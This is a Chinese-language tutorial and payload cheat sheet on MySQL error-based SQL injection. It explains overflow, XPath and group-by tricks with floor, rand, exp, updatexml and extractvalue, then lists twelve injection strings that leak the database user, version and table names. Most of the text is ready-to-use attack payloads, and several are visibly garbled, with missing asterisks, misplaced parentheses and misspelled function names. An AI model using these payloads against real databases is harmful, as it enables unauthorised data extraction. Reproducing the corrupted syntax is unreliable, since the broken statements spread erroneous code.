MySQL 报错注入主要分为以下几类:
1. BigInt 等数据类型溢出;
2. Xpath 语法错误;
3. count() + rand() + group_by() 导致重复;
4. 空间数据类型函数错误。
rand(N) - 返回一个随机浮点数 v,范围是 0<=v<1.0;N 是可选提供的,如果提供了N,则会设定N为一个SEED
floor(x) - 返回不大于 x 的最大整数
count(x) - 返回 x 数据集的数量
错误触发:
虚拟表的主键重复:group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算。由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。
floor(rand(0) *2) 的结果如下:
函数语法:exp(int)
适用版本:5.5.5~5.5.49
该函数将会返回e的x次方结果。正常如下图:
报错原理:次方到后边每增加1,其结果都将跨度极大,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错。当传递一个大于709的值时,函数exp()就会引起一个重叠错误。根据这个原理,加大整数来溢出:
exp(~(select * from(select user())a))
解释:
1、先查询 select user() 这里面的语句,将这里面查询出来的数据作为一个结果集 取名为 a
2、然后 再 select * from a 查询a ,将 结果集a 全部查询出来
得到表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
函数语法:updatexml(XML_document, XPath_string, new_value);
适用版本: 5.1.5+
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
select updatexml(1,concat(‘!’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),1),1)
函数语法:EXTRACTVALUE (XML_document, XPath_string);
适用版本:5.1.5+
利用原理与updatexml函数相同
payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
(从网上找的12条报错语句)
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
安全学习交流群:687398569